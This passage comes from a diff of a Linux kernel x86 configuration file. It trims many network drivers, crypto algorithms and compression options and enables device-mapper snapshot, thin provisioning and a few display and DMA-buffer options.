CONFIG_BLK_SED_OPAL is not set # CONFIG_BLK_INLINE_ENCRYPTION is not set @@ -694,12 +674,15 @@ CONFIG_BLK_MQ_STACKING=y # IO Schedulers # CONFIG_MQ_IOSCHED_DEADLINE=y -CONFIG_MQ_IOSCHED_KYBER=y +# CONFIG_MQ_IOSCHED_KYBER is not set # CONFIG_IOSCHED_BFQ is not set # end of IO Schedulers -CONFIG_ASN1=m -CONFIG_UNINLINE_SPIN_UNLOCK=y +CONFIG_INLINE_SPIN_UNLOCK_IRQ=y +CONFIG_INLINE_READ_UNLOCK=y +CONFIG_INLINE_READ_UNLOCK_IRQ=y +CONFIG_INLINE_WRITE_UNLOCK=y +CONFIG_INLINE_WRITE_UNLOCK_IRQ=y CONFIG_ARCH_SUPPORTS_ATOMIC_RMW=y CONFIG_MUTEX_SPIN_ON_OWNER=y CONFIG_RWSEM_SPIN_ON_OWNER=y @@ -773,11 +756,14 @@ CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y CONFIG_ARCH_HAS_CURRENT_STACK_POINTER=y CONFIG_ARCH_HAS_PTE_DEVMAP=y CONFIG_ARCH_HAS_ZONE_DMA_SET=y -CONFIG_ZONE_DMA=y +# CONFIG_ZONE_DMA is not set CONFIG_ZONE_DMA32=y # CONFIG_VM_EVENT_COUNTERS is not set # CONFIG_PERCPU_STATS is not set -# CONFIG_GUP_TEST is not set + +# +# GUP_TEST needs to have DEBUG_FS enabled +# CONFIG_ARCH_HAS_PTE_SPECIAL=y # CONFIG_USERFAULTFD is not set # CONFIG_LRU_GEN is not set @@ -809,7 +795,7 @@ CONFIG_INET=y # CONFIG_IP_PNP is not set # CONFIG_NET_IPIP is not set # CONFIG_NET_IPGRE_DEMUX is not set -CONFIG_SYN_COOKIES=y +# CONFIG_SYN_COOKIES is not set # CONFIG_NET_IPVTI is not set # CONFIG_NET_FOU is not set # CONFIG_INET_AH is not set @@ -824,7 +810,6 @@ CONFIG_DEFAULT_TCP_CONG="cubic" # CONFIG_IPV6 is not set # CONFIG_MPTCP is not set # CONFIG_NETWORK_SECMARK is not set -CONFIG_NET_PTP_CLASSIFY=y # CONFIG_NETWORK_PHY_TIMESTAMPING is not set # CONFIG_NETFILTER is not set # CONFIG_BPFILTER is not set @@ -909,12 +894,10 @@ CONFIG_PCI_MSI=y CONFIG_PCI_MSI_IRQ_DOMAIN=y CONFIG_PCI_QUIRKS=y # CONFIG_PCI_DEBUG is not set -# CONFIG_PCI_REALLOC_ENABLE_AUTO is not set # CONFIG_PCI_STUB is not set -# CONFIG_PCI_PF_STUB is not set CONFIG_PCI_ATS=y CONFIG_PCI_LOCKLESS_CONFIG=y -CONFIG_PCI_IOV=y +# CONFIG_PCI_IOV is not set CONFIG_PCI_PRI=y CONFIG_PCI_PASID=y CONFIG_PCI_LABEL=y @@ -995,6 +978,8 @@ CONFIG_GENERIC_CPU_AUTOPROBE=y CONFIG_GENERIC_CPU_VULNERABILITIES=y CONFIG_REGMAP=y CONFIG_REGMAP_MMIO=y +CONFIG_DMA_SHARED_BUFFER=y +# CONFIG_DMA_FENCE_TRACE is not set # end of Generic Driver Options # @@ -1023,7 +1008,7 @@ CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y # CONFIG_ISCSI_IBFT is not set # CONFIG_FW_CFG_SYSFS is not set CONFIG_SYSFB=y -# CONFIG_SYSFB_SIMPLEFB is not set +CONFIG_SYSFB_SIMPLEFB=y # CONFIG_GOOGLE_FIRMWARE is not set # @@ -1055,7 +1040,7 @@ CONFIG_EFI_CUSTOM_SSDT_OVERLAYS=y CONFIG_ARCH_MIGHT_HAVE_PC_PARPORT=y # CONFIG_PARPORT is not set CONFIG_PNP=y -CONFIG_PNP_DEBUG_MESSAGES=y +# CONFIG_PNP_DEBUG_MESSAGES is not set # # Protocols @@ -1066,7 +1051,6 @@ CONFIG_BLK_DEV=y # CONFIG_BLK_DEV_FD is not set CONFIG_CDROM=y # CONFIG_BLK_DEV_PCIESSD_MTIP32XX is not set -# CONFIG_ZRAM is not set CONFIG_BLK_DEV_LOOP=y CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 # CONFIG_BLK_DEV_DRBD is not set @@ -1109,7 +1093,7 @@ CONFIG_BLK_DEV_NVME=y # # EEPROM support # -CONFIG_EEPROM_93CX6=m +# CONFIG_EEPROM_93CX6 is not set # end of EEPROM support # CONFIG_CB710_CORE is not set @@ -1122,9 +1106,9 @@ CONFIG_EEPROM_93CX6=m # # Altera FPGA firmware download module (requires I2C) # -CONFIG_INTEL_MEI=m -CONFIG_INTEL_MEI_ME=m -CONFIG_INTEL_MEI_TXE=m +# CONFIG_INTEL_MEI is not set +# CONFIG_INTEL_MEI_ME is not set +# CONFIG_INTEL_MEI_TXE is not set # CONFIG_VMWARE_VMCI is not set # CONFIG_GENWQE is not set # CONFIG_ECHO is not set @@ -1228,7 +1212,7 @@ CONFIG_ISCSI_TCP=y CONFIG_ATA=y CONFIG_SATA_HOST=y CONFIG_PATA_TIMINGS=y -CONFIG_ATA_VERBOSE_ERROR=y +# CONFIG_ATA_VERBOSE_ERROR is not set CONFIG_ATA_FORCE=y CONFIG_ATA_ACPI=y CONFIG_SATA_PMP=y @@ -1252,10 +1236,12 @@ CONFIG_BLK_DEV_DM=y # CONFIG_DM_DEBUG is not set CONFIG_DM_BUFIO=y # CONFIG_DM_DEBUG_BLOCK_MANAGER_LOCKING is not set +CONFIG_DM_BIO_PRISON=y +CONFIG_DM_PERSISTENT_DATA=y # CONFIG_DM_UNSTRIPED is not set CONFIG_DM_CRYPT=y -# CONFIG_DM_SNAPSHOT is not set -# CONFIG_DM_THIN_PROVISIONING is not set +CONFIG_DM_SNAPSHOT=y +CONFIG_DM_THIN_PROVISIONING=y # CONFIG_DM_CACHE is not set # CONFIG_DM_WRITECACHE is not set # CONFIG_DM_EBS is not set @@ -1312,25 +1298,22 @@ CONFIG_ETHERNET=y # CONFIG_NET_VENDOR_3COM is not set # CONFIG_NET_VENDOR_ADAPTEC is not set # CONFIG_NET_VENDOR_AGERE is not set -CONFIG_NET_VENDOR_ALACRITECH=y -# CONFIG_SLICOSS is not set +# CONFIG_NET_VENDOR_ALACRITECH is not set # CONFIG_NET_VENDOR_ALTEON is not set # CONFIG_ALTERA_TSE is not set # CONFIG_NET_VENDOR_AMAZON is not set # CONFIG_NET_VENDOR_AMD is not set -CONFIG_NET_VENDOR_AQUANTIA=y -# CONFIG_AQTION is not set +# CONFIG_NET_VENDOR_AQUANTIA is not set # CONFIG_NET_VENDOR_ARC is not set CONFIG_NET_VENDOR_ASIX=y # CONFIG_NET_VENDOR_ATHEROS is not set # CONFIG_CX_ECAT is not set # CONFIG_NET_VENDOR_BROADCOM is not set -CONFIG_NET_VENDOR_CADENCE=y -# CONFIG_MACB is not set +# CONFIG_NET_VENDOR_CADENCE is not set # CONFIG_NET_VENDOR_CAVIUM is not set # CONFIG_NET_VENDOR_CHELSIO is not set # CONFIG_NET_VENDOR_CISCO is not set -CONFIG_NET_VENDOR_CORTINA=y +# CONFIG_NET_VENDOR_CORTINA is not set CONFIG_NET_VENDOR_DAVICOM=y # CONFIG_DNET is not set # CONFIG_NET_VENDOR_DEC is not set @@ -1341,10 +1324,8 @@ CONFIG_NET_VENDOR_ENGLEDER=y # CONFIG_NET_VENDOR_EZCHIP is not set CONFIG_NET_VENDOR_FUNGIBLE=y # CONFIG_FUN_ETH is not set -CONFIG_NET_VENDOR_GOOGLE=y -# CONFIG_GVE is not set -CONFIG_NET_VENDOR_HUAWEI=y -# CONFIG_HINIC is not set +# CONFIG_NET_VENDOR_GOOGLE is not set +# CONFIG_NET_VENDOR_HUAWEI is not set # CONFIG_NET_VENDOR_I825XX is not set CONFIG_NET_VENDOR_INTEL=y # CONFIG_E100 is not set @@ -1369,26 +1350,20 @@ CONFIG_NET_VENDOR_LITEX=y # CONFIG_NET_VENDOR_MARVELL is not set # CONFIG_NET_VENDOR_MELLANOX is not set # CONFIG_NET_VENDOR_MICREL is not set -CONFIG_NET_VENDOR_MICROCHIP=y -# CONFIG_LAN743X is not set -CONFIG_NET_VENDOR_MICROSEMI=y +# CONFIG_NET_VENDOR_MICROCHIP is not set +# CONFIG_NET_VENDOR_MICROSEMI is not set CONFIG_NET_VENDOR_MICROSOFT=y # CONFIG_NET_VENDOR_MYRI is not set # CONFIG_FEALNX is not set -CONFIG_NET_VENDOR_NI=y -# CONFIG_NI_XGE_MANAGEMENT_ENET is not set +# CONFIG_NET_VENDOR_NI is not set # CONFIG_NET_VENDOR_NATSEMI is not set -CONFIG_NET_VENDOR_NETERION=y -# CONFIG_S2IO is not set +# CONFIG_NET_VENDOR_NETERION is not set # CONFIG_NET_VENDOR_NETRONOME is not set # CONFIG_NET_VENDOR_NVIDIA is not set # CONFIG_NET_VENDOR_OKI is not set # CONFIG_ETHOC is not set -CONFIG_NET_VENDOR_PACKET_ENGINES=y -# CONFIG_HAMACHI is not set -# CONFIG_YELLOWFIN is not set -CONFIG_NET_VENDOR_PENSANDO=y -# CONFIG_IONIC is not set +# CONFIG_NET_VENDOR_PACKET_ENGINES is not set +# CONFIG_NET_VENDOR_PENSANDO is not set # CONFIG_NET_VENDOR_QLOGIC is not set # CONFIG_NET_VENDOR_BROCADE is not set # CONFIG_NET_VENDOR_QUALCOMM is not set @@ -1400,12 +1375,9 @@ CONFIG_NET_VENDOR_PENSANDO=y # CONFIG_NET_VENDOR_SEEQ is not set # CONFIG_NET_VENDOR_SILAN is not set # CONFIG_NET_VENDOR_SIS is not set -CONFIG_NET_VENDOR_SOLARFLARE=y -# CONFIG_SFC is not set -# CONFIG_SFC_FALCON is not set -# CONFIG_SFC_SIENA is not set +# CONFIG_NET_VENDOR_SOLARFLARE is not set # CONFIG_NET_VENDOR_SMSC is not set -CONFIG_NET_VENDOR_SOCIONEXT=y +# CONFIG_NET_VENDOR_SOCIONEXT is not set # CONFIG_NET_VENDOR_STMICRO is not set # CONFIG_NET_VENDOR_SUN is not set # CONFIG_NET_VENDOR_SYNOPSYS is not set @@ -1414,10 +1386,7 @@ CONFIG_NET_VENDOR_SOCIONEXT=y CONFIG_NET_VENDOR_VERTEXCOM=y # CONFIG_NET_VENDOR_VIA is not set # CONFIG_NET_VENDOR_WIZNET is not set -CONFIG_NET_VENDOR_XILINX=y -# CONFIG_XILINX_EMACLITE is not set -# CONFIG_XILINX_AXI_EMAC is not set -# CONFIG_XILINX_LL_TEMAC is not set +# CONFIG_NET_VENDOR_XILINX is not set # CONFIG_FDDI is not set # CONFIG_HIPPI is not set # CONFIG_NET_SB1000 is not set @@ -1444,7 +1413,6 @@ CONFIG_NET_VENDOR_XILINX=y # CONFIG_VMXNET3 is not set # CONFIG_FUJITSU_ES is not set -# CONFIG_NETDEVSIM is not set # CONFIG_NET_FAILOVER is not set # CONFIG_ISDN is not set @@ -1562,11 +1530,11 @@ CONFIG_TTY_PRINTK_LEVEL=6 # CONFIG_VIRTIO_CONSOLE is not set # CONFIG_IPMI_HANDLER is not set CONFIG_HW_RANDOM=y -CONFIG_HW_RANDOM_TIMERIOMEM=m +# CONFIG_HW_RANDOM_TIMERIOMEM is not set CONFIG_HW_RANDOM_INTEL=y -CONFIG_HW_RANDOM_AMD=m +# CONFIG_HW_RANDOM_AMD is not set # CONFIG_HW_RANDOM_BA431 is not set -CONFIG_HW_RANDOM_VIA=m +# CONFIG_HW_RANDOM_VIA is not set # CONFIG_HW_RANDOM_XIPHERA is not set # CONFIG_APPLICOM is not set # CONFIG_MWAVE is not set @@ -1601,24 +1569,12 @@ CONFIG_RANDOM_TRUST_CPU=y # CONFIG_SPI is not set # CONFIG_SPMI is not set # CONFIG_HSI is not set -CONFIG_PPS=y -# CONFIG_PPS_DEBUG is not set - -# -# PPS clients support -# -# CONFIG_PPS_CLIENT_KTIMER is not set -# CONFIG_PPS_CLIENT_LDISC is not set -# CONFIG_PPS_CLIENT_GPIO is not set - -# -# PPS generators support -# +# CONFIG_PPS is not set # # PTP clock support # -CONFIG_PTP_1588_CLOCK=y +# CONFIG_PTP_1588_CLOCK is not set CONFIG_PTP_1588_CLOCK_OPTIONAL=y # @@ -1756,7 +1712,7 @@ CONFIG_FB_CFB_IMAGEBLIT=y # CONFIG_FB_ASILIANT is not set # CONFIG_FB_IMSTT is not set # CONFIG_FB_VGA16 is not set -CONFIG_FB_VESA=y +# CONFIG_FB_VESA is not set CONFIG_FB_EFI=y # CONFIG_FB_N411 is not set # CONFIG_FB_HGA is not set @@ -1796,7 +1752,10 @@ CONFIG_FB_EFI=y # Backlight & LCD device support # # CONFIG_LCD_CLASS_DEVICE is not set -# CONFIG_BACKLIGHT_CLASS_DEVICE is not set +CONFIG_BACKLIGHT_CLASS_DEVICE=y +# CONFIG_BACKLIGHT_APPLE is not set +# CONFIG_BACKLIGHT_QCOM_WLED is not set +# CONFIG_BACKLIGHT_SAHARA is not set # end of Backlight & LCD device support # @@ -1808,7 +1767,7 @@ CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION=y -# CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY is not set +CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set # CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set # end of Console display driver support @@ -2145,20 +2104,21 @@ CONFIG_RTC_DRV_CMOS=y # # DMABUF options # -# CONFIG_SYNC_FILE is not set +CONFIG_SYNC_FILE=y +# CONFIG_DMABUF_MOVE_NOTIFY is not set +# CONFIG_DMABUF_DEBUG is not set +# CONFIG_DMABUF_SELFTESTS is not set # CONFIG_DMABUF_HEAPS is not set +# CONFIG_DMABUF_SYSFS_STATS is not set # end of DMABUF options # CONFIG_AUXDISPLAY is not set # CONFIG_UIO is not set # CONFIG_VFIO is not set # CONFIG_VIRT_DRIVERS is not set -CONFIG_VIRTIO_MENU=y -# CONFIG_VIRTIO_PCI is not set -# CONFIG_VIRTIO_MMIO is not set +# CONFIG_VIRTIO_MENU is not set # CONFIG_VDPA is not set -CONFIG_VHOST_MENU=y -# CONFIG_VHOST_CROSS_ENDIAN_LEGACY is not set +# CONFIG_VHOST_MENU is not set # # Microsoft Hyper-V guest support @@ -2179,10 +2139,12 @@ CONFIG_X86_PLATFORM_DEVICES=y # CONFIG_ACER_WIRELESS is not set # CONFIG_AMD_PMF is not set # CONFIG_AMD_PMC is not set -# CONFIG_AMD_HSMP is not set # CONFIG_ADV_SWBUTTON is not set +# CONFIG_APPLE_GMUX is not set +# CONFIG_ASUS_LAPTOP is not set # CONFIG_ASUS_WIRELESS is not set # CONFIG_X86_PLATFORM_DRIVERS_DELL is not set +# CONFIG_FUJITSU_LAPTOP is not set # CONFIG_FUJITSU_TABLET is not set # CONFIG_GPD_POCKET_FAN is not set # CONFIG_HP_ACCEL is not set @@ -2209,10 +2171,12 @@ CONFIG_X86_PLATFORM_DEVICES=y # CONFIG_INTEL_SMARTCONNECT is not set # CONFIG_INTEL_TURBO_MAX_3 is not set # CONFIG_INTEL_VSEC is not set +# CONFIG_SAMSUNG_LAPTOP is not set # CONFIG_SAMSUNG_Q10 is not set # CONFIG_TOSHIBA_BT_RFKILL is not set # CONFIG_TOSHIBA_HAPS is not set # CONFIG_ACPI_CMPC is not set +# CONFIG_PANASONIC_LAPTOP is not set # CONFIG_TOPSTAR_LAPTOP is not set # CONFIG_INTEL_IPS is not set # CONFIG_INTEL_SCU_PCI is not set @@ -2247,7 +2211,6 @@ CONFIG_IOMMU_SUPPORT=y # # end of Generic IOMMU Pagetable Support -# CONFIG_IOMMU_DEBUGFS is not set # CONFIG_IOMMU_DEFAULT_DMA_STRICT is not set CONFIG_IOMMU_DEFAULT_DMA_LAZY=y # CONFIG_IOMMU_DEFAULT_PASSTHROUGH is not set @@ -2390,7 +2353,6 @@ CONFIG_NVMEM_SYSFS=y # end of HW tracing support # CONFIG_FPGA is not set -# CONFIG_TEE is not set # CONFIG_SIOX is not set # CONFIG_SLIMBUS is not set # CONFIG_INTERCONNECT is not set @@ -2481,15 +2443,13 @@ CONFIG_SYSFS=y CONFIG_ARCH_WANT_HUGETLB_PAGE_OPTIMIZE_VMEMMAP=y CONFIG_ARCH_HAS_GIGANTIC_PAGE=y # CONFIG_CONFIGFS_FS is not set -CONFIG_EFIVAR_FS=m +# CONFIG_EFIVAR_FS is not set # end of Pseudo filesystems # CONFIG_MISC_FILESYSTEMS is not set CONFIG_NETWORK_FILESYSTEMS=y -# CONFIG_NFS_FS is not set # CONFIG_CEPH_FS is not set # CONFIG_CIFS is not set -# CONFIG_SMB_SERVER is not set # CONFIG_CODA_FS is not set # CONFIG_AFS_FS is not set CONFIG_NLS=y @@ -2552,7 +2512,6 @@ CONFIG_IO_WQ=y # # CONFIG_KEYS is not set # CONFIG_SECURITY_DMESG_RESTRICT is not set -# CONFIG_SECURITY is not set CONFIG_SECURITYFS=y # CONFIG_INTEL_TXT is not set CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y @@ -2601,14 +2560,12 @@ CONFIG_CRYPTO_HASH2=y CONFIG_CRYPTO_RNG=y CONFIG_CRYPTO_RNG2=y CONFIG_CRYPTO_AKCIPHER2=y -CONFIG_CRYPTO_AKCIPHER=m CONFIG_CRYPTO_KPP2=y CONFIG_CRYPTO_ACOMP2=y CONFIG_CRYPTO_MANAGER=y CONFIG_CRYPTO_MANAGER2=y CONFIG_CRYPTO_USER=y CONFIG_CRYPTO_MANAGER_DISABLE_TESTS=y -CONFIG_CRYPTO_GF128MUL=y CONFIG_CRYPTO_NULL=y CONFIG_CRYPTO_NULL2=y # CONFIG_CRYPTO_PCRYPT is not set @@ -2621,7 +2578,7 @@ CONFIG_CRYPTO_SIMD=y # # Public-key cryptography # -CONFIG_CRYPTO_RSA=m +# CONFIG_CRYPTO_RSA is not set # CONFIG_CRYPTO_DH is not set # CONFIG_CRYPTO_ECDH is not set # CONFIG_CRYPTO_ECDSA is not set @@ -2633,43 +2590,35 @@ CONFIG_CRYPTO_RSA=m # # Block ciphers # -CONFIG_CRYPTO_AES=m +# CONFIG_CRYPTO_AES is not set # CONFIG_CRYPTO_AES_TI is not set -CONFIG_CRYPTO_ANUBIS=m # CONFIG_CRYPTO_ARIA is not set -CONFIG_CRYPTO_BLOWFISH=m -CONFIG_CRYPTO_BLOWFISH_COMMON=m -CONFIG_CRYPTO_CAMELLIA=m -CONFIG_CRYPTO_CAST_COMMON=m -CONFIG_CRYPTO_CAST5=m -CONFIG_CRYPTO_CAST6=m +# CONFIG_CRYPTO_BLOWFISH is not set +# CONFIG_CRYPTO_CAMELLIA is not set +# CONFIG_CRYPTO_CAST5 is not set +# CONFIG_CRYPTO_CAST6 is not set # CONFIG_CRYPTO_DES is not set -CONFIG_CRYPTO_FCRYPT=m -CONFIG_CRYPTO_KHAZAD=m -CONFIG_CRYPTO_SEED=m -CONFIG_CRYPTO_SERPENT=m +# CONFIG_CRYPTO_FCRYPT is not set +# CONFIG_CRYPTO_SERPENT is not set # CONFIG_CRYPTO_SM4_GENERIC is not set -CONFIG_CRYPTO_TEA=m -CONFIG_CRYPTO_TWOFISH=m -CONFIG_CRYPTO_TWOFISH_COMMON=m +# CONFIG_CRYPTO_TWOFISH is not set # end of Block ciphers # # Length-preserving ciphers and modes # # CONFIG_CRYPTO_ADIANTUM is not set -CONFIG_CRYPTO_ARC4=m -CONFIG_CRYPTO_CHACHA20=m +# CONFIG_CRYPTO_CHACHA20 is not set CONFIG_CRYPTO_CBC=y # CONFIG_CRYPTO_CFB is not set -CONFIG_CRYPTO_CTR=m -CONFIG_CRYPTO_CTS=m +# CONFIG_CRYPTO_CTR is not set +# CONFIG_CRYPTO_CTS is not set CONFIG_CRYPTO_ECB=y # CONFIG_CRYPTO_HCTR2 is not set -CONFIG_CRYPTO_KEYWRAP=m -CONFIG_CRYPTO_LRW=y +# CONFIG_CRYPTO_KEYWRAP is not set +# CONFIG_CRYPTO_LRW is not set # CONFIG_CRYPTO_OFB is not set -CONFIG_CRYPTO_PCBC=m +# CONFIG_CRYPTO_PCBC is not set CONFIG_CRYPTO_XTS=y # end of Length-preserving ciphers and modes @@ -2677,9 +2626,9 @@ CONFIG_CRYPTO_XTS=y # AEAD (authenticated encryption with associated data) ciphers # # CONFIG_CRYPTO_AEGIS128 is not set -CONFIG_CRYPTO_CHACHA20POLY1305=m -CONFIG_CRYPTO_CCM=m -CONFIG_CRYPTO_GCM=m +# CONFIG_CRYPTO_CHACHA20POLY1305 is not set +# CONFIG_CRYPTO_CCM is not set +# CONFIG_CRYPTO_GCM is not set # CONFIG_CRYPTO_SEQIV is not set # CONFIG_CRYPTO_ECHAINIV is not set CONFIG_CRYPTO_ESSIV=y @@ -2689,23 +2638,23 @@ CONFIG_CRYPTO_ESSIV=y # Hashes, digests, and MACs # # CONFIG_CRYPTO_BLAKE2B is not set -CONFIG_CRYPTO_CMAC=m -CONFIG_CRYPTO_GHASH=m +# CONFIG_CRYPTO_CMAC is not set +# CONFIG_CRYPTO_GHASH is not set CONFIG_CRYPTO_HMAC=y -CONFIG_CRYPTO_MD4=m +# CONFIG_CRYPTO_MD4 is not set CONFIG_CRYPTO_MD5=y -CONFIG_CRYPTO_MICHAEL_MIC=m -CONFIG_CRYPTO_POLY1305=m -CONFIG_CRYPTO_RMD160=m +# CONFIG_CRYPTO_MICHAEL_MIC is not set +# CONFIG_CRYPTO_POLY1305 is not set +# CONFIG_CRYPTO_RMD160 is not set CONFIG_CRYPTO_SHA1=y CONFIG_CRYPTO_SHA256=y CONFIG_CRYPTO_SHA512=y # CONFIG_CRYPTO_SHA3 is not set # CONFIG_CRYPTO_SM3_GENERIC is not set # CONFIG_CRYPTO_STREEBOG is not set -CONFIG_CRYPTO_VMAC=m -CONFIG_CRYPTO_WP512=m -CONFIG_CRYPTO_XCBC=m +# CONFIG_CRYPTO_VMAC is not set +# CONFIG_CRYPTO_WP512 is not set +# CONFIG_CRYPTO_XCBC is not set # CONFIG_CRYPTO_XXHASH is not set # end of Hashes, digests, and MACs @@ -2713,25 +2662,25 @@ CONFIG_CRYPTO_XCBC=m # CRCs (cyclic redundancy checks) # CONFIG_CRYPTO_CRC32C=y -CONFIG_CRYPTO_CRC32=m -CONFIG_CRYPTO_CRCT10DIF=y +# CONFIG_CRYPTO_CRC32 is not set +# CONFIG_CRYPTO_CRCT10DIF is not set # end of CRCs (cyclic redundancy checks) # # Compression # -CONFIG_CRYPTO_DEFLATE=m -CONFIG_CRYPTO_LZO=y -CONFIG_CRYPTO_842=m -CONFIG_CRYPTO_LZ4=m -CONFIG_CRYPTO_LZ4HC=m +# CONFIG_CRYPTO_DEFLATE is not set +# CONFIG_CRYPTO_LZO is not set +# CONFIG_CRYPTO_842 is not set +# CONFIG_CRYPTO_LZ4 is not set +# CONFIG_CRYPTO_LZ4HC is not set # CONFIG_CRYPTO_ZSTD is not set # end of Compression # # Random number generation # -CONFIG_CRYPTO_ANSI_CPRNG=m +# CONFIG_CRYPTO_ANSI_CPRNG is not set # CONFIG_CRYPTO_DRBG_MENU is not set # CONFIG_CRYPTO_JITTERENTROPY is not set # end of Random number generation @@ -2744,7 +2693,7 @@ CONFIG_CRYPTO_USER_API_HASH=y CONFIG_CRYPTO_USER_API_SKCIPHER=y CONFIG_CRYPTO_USER_API_RNG=y CONFIG_CRYPTO_USER_API_AEAD=y -CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE=y +# CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set # CONFIG_CRYPTO_STATS is not set # end of Userspace interface @@ -2755,37 +2704,36 @@ CONFIG_CRYPTO_HASH_INFO=y # # CONFIG_CRYPTO_CURVE25519_X86 is not set CONFIG_CRYPTO_AES_NI_INTEL=y -CONFIG_CRYPTO_BLOWFISH_X86_64=m -CONFIG_CRYPTO_CAMELLIA_X86_64=m -CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64=m -CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64=m -CONFIG_CRYPTO_CAST5_AVX_X86_64=m -CONFIG_CRYPTO_CAST6_AVX_X86_64=m -CONFIG_CRYPTO_DES3_EDE_X86_64=m -CONFIG_CRYPTO_SERPENT_SSE2_X86_64=m -CONFIG_CRYPTO_SERPENT_AVX_X86_64=m -CONFIG_CRYPTO_SERPENT_AVX2_X86_64=m +# CONFIG_CRYPTO_BLOWFISH_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set +# CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set +# CONFIG_CRYPTO_DES3_EDE_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_SSE2_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set # CONFIG_CRYPTO_SM4_AESNI_AVX_X86_64 is not set # CONFIG_CRYPTO_SM4_AESNI_AVX2_X86_64 is not set -CONFIG_CRYPTO_TWOFISH_X86_64=m -CONFIG_CRYPTO_TWOFISH_X86_64_3WAY=m -CONFIG_CRYPTO_TWOFISH_AVX_X86_64=m +# CONFIG_CRYPTO_TWOFISH_X86_64 is not set +# CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set +# CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set # CONFIG_CRYPTO_ARIA_AESNI_AVX_X86_64 is not set -CONFIG_CRYPTO_CHACHA20_X86_64=m +# CONFIG_CRYPTO_CHACHA20_X86_64 is not set # CONFIG_CRYPTO_AEGIS128_AESNI_SSE2 is not set # CONFIG_CRYPTO_NHPOLY1305_SSE2 is not set # CONFIG_CRYPTO_NHPOLY1305_AVX2 is not set # CONFIG_CRYPTO_BLAKE2S_X86 is not set # CONFIG_CRYPTO_POLYVAL_CLMUL_NI is not set -CONFIG_CRYPTO_POLY1305_X86_64=m +# CONFIG_CRYPTO_POLY1305_X86_64 is not set CONFIG_CRYPTO_SHA1_SSSE3=y CONFIG_CRYPTO_SHA256_SSSE3=y CONFIG_CRYPTO_SHA512_SSSE3=y # CONFIG_CRYPTO_SM3_AVX_X86_64 is not set -CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL=m +# CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL is not set CONFIG_CRYPTO_CRC32C_INTEL=y -CONFIG_CRYPTO_CRC32_PCLMUL=m -CONFIG_CRYPTO_CRCT10DIF_PCLMUL=m +# CONFIG_CRYPTO_CRC32_PCLMUL is not set # end of Accelerated Cryptographic Algorithms for CPU (x86) # CONFIG_CRYPTO_HW is not set @@ -2803,7 +2751,7 @@ CONFIG_BITREVERSE=y CONFIG_GENERIC_STRNCPY_FROM_USER=y CONFIG_GENERIC_STRNLEN_USER=y CONFIG_GENERIC_NET_UTILS=y -CONFIG_CORDIC=m +# CONFIG_CORDIC is not set # CONFIG_PRIME_NUMBERS is not set CONFIG_RATIONAL=y CONFIG_GENERIC_PCI_IOMAP=y @@ -2817,27 +2765,21 @@ CONFIG_ARCH_USE_SYM_ANNOTATIONS=y # CONFIG_CRYPTO_LIB_UTILS=y CONFIG_CRYPTO_LIB_AES=y -CONFIG_CRYPTO_LIB_ARC4=m CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y -CONFIG_CRYPTO_ARCH_HAVE_LIB_CHACHA=m -CONFIG_CRYPTO_LIB_CHACHA_GENERIC=m # CONFIG_CRYPTO_LIB_CHACHA is not set # CONFIG_CRYPTO_LIB_CURVE25519 is not set -CONFIG_CRYPTO_LIB_DES=m CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 -CONFIG_CRYPTO_ARCH_HAVE_LIB_POLY1305=m -CONFIG_CRYPTO_LIB_POLY1305_GENERIC=m # CONFIG_CRYPTO_LIB_POLY1305 is not set # CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set CONFIG_CRYPTO_LIB_SHA1=y CONFIG_CRYPTO_LIB_SHA256=y # end of Crypto library routines -CONFIG_CRC_CCITT=m +# CONFIG_CRC_CCITT is not set CONFIG_CRC16=y -CONFIG_CRC_T10DIF=y +# CONFIG_CRC_T10DIF is not set # CONFIG_CRC64_ROCKSOFT is not set -CONFIG_CRC_ITU_T=m +# CONFIG_CRC_ITU_T is not set CONFIG_CRC32=y # CONFIG_CRC32_SELFTEST is not set CONFIG_CRC32_SLICEBY8=y @@ -2846,34 +2788,21 @@ CONFIG_CRC32_SLICEBY8=y # CONFIG_CRC32_BIT is not set # CONFIG_CRC64 is not set # CONFIG_CRC4 is not set -CONFIG_CRC7=m -CONFIG_LIBCRC32C=m -CONFIG_CRC8=m -CONFIG_XXHASH=y +# CONFIG_CRC7 is not set +CONFIG_LIBCRC32C=y +# CONFIG_CRC8 is not set # CONFIG_RANDOM32_SELFTEST is not set -CONFIG_842_COMPRESS=m -CONFIG_842_DECOMPRESS=m -CONFIG_ZLIB_INFLATE=m -CONFIG_ZLIB_DEFLATE=m -CONFIG_LZO_COMPRESS=y -CONFIG_LZO_DECOMPRESS=y -CONFIG_LZ4_COMPRESS=m -CONFIG_LZ4HC_COMPRESS=m -CONFIG_LZ4_DECOMPRESS=m -CONFIG_ZSTD_COMMON=y -CONFIG_ZSTD_DECOMPRESS=y CONFIG_XZ_DEC=y 